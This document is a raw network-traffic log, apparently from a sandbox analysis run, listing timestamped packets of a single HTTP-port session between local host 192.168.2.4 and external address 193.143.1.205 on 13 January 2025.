Jan 13, 2025 09:32:05.387897015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387904882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.387929916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387963057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387972116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.387995958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.388027906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.388039112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.392095089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.397573948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.405486107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405540943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405565977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.405575991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405607939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405622005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.405642986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405695915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.405698061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405827999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405872107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.405878067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405911922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405941963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.405953884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.405992985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406025887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406035900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406059027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406090975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406116009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406122923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406158924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406169891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406191111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406227112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406233072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406275988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406321049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406325102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406357050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406392097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406399012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406424999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406459093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406467915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406491995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406527042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406533003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406666994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406698942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406717062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406737089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406764984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406780005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406800985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406835079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406846046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.406955004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.406987906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407006025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407023907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407057047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407068014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407090902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407124043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407136917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407177925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407211065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407218933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407284021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407337904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407339096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407373905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407406092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407418966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407671928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407705069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407722950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407757044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407792091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407802105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407824993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407856941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407874107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407891989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407923937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407948971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.407957077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.407989979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408004999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.408024073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408056021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408066988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.408090115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408123016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408133984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.408158064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408190012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408200026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.408225060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408268929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.408590078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408622980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408657074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.408664942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421025038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421101093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421113014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421147108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421192884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421200991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421236992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421269894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421279907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421303988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421333075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421358109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421386003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421430111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421446085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421480894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421530008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421539068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421610117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421643972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421653986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421679020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421713114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421722889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421746969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421778917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421787024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421822071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421855927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421864986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421890020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421926022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.421936035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.421960115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.422005892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.439398050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439430952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439486027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439491034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.439522028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439553976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439564943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.439589977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439623117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439647913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.439657927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439713001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.439791918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439861059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439903021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.439913034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439946890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.439995050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.440001011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.440053940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.440088034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.440097094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.440120935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.440164089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.447508097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.454420090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.458374023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.458429098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.458463907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.458482027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.458498955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.458549976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.458555937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.458584070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.458620071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.458626032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.458648920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.458693981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.474205017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474240065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474275112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474287033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.474369049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474402905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474411011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.474436045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474482059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.474488020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474522114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474555969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474581957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.474589109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474625111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474633932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.474659920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474693060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474704027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.474725962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474760056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.474771023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.492300987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492362022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492398024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.492439985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492494106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492496014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.492549896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492603064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.492623091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492656946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492691040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492700100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.492739916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492772102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492782116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.492805004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492854118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492856979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.492903948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.492945910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.492953062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493062019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493093014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493119001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493128061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493165970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493170977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493201017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493232965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493243933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493267059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493298054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493324041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493330956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493364096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493376970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493406057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493453026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493457079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493490934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493522882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493534088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493557930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493590117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493606091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493623018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493659019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493665934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493691921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493735075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493737936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493784904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493817091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493828058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493868113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493900061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493923903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493932962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493966103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.493979931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.493999958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494033098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494045019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494066000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494097948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494110107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494132042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494164944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494179010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494199991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494244099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494250059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494302034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494349003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494353056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494386911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494419098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494429111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494452000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494484901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494493961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494518042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494549990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494560957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494585037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494616985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494632006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494651079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494682074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494704962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494714975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494748116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494761944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.494781971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.494822025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.507805109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.507838964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.507889986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.507894039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.507925034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.507961035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.507989883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.508013964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508047104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508054972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.508080959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508114100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508141994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.508167028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508196115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508224010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.508254051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508295059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.508289099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508341074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508384943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.508394957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508450031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.508498907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.526082039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526139975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526191950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.526196957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526266098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526298046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526309967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.526350975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526391983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.526407957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526437044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526479959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.526487112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526519060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526551962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526563883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.526585102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526629925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.526634932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.526667118 CET	80	49730	193.143.1.205	192.168.2.4
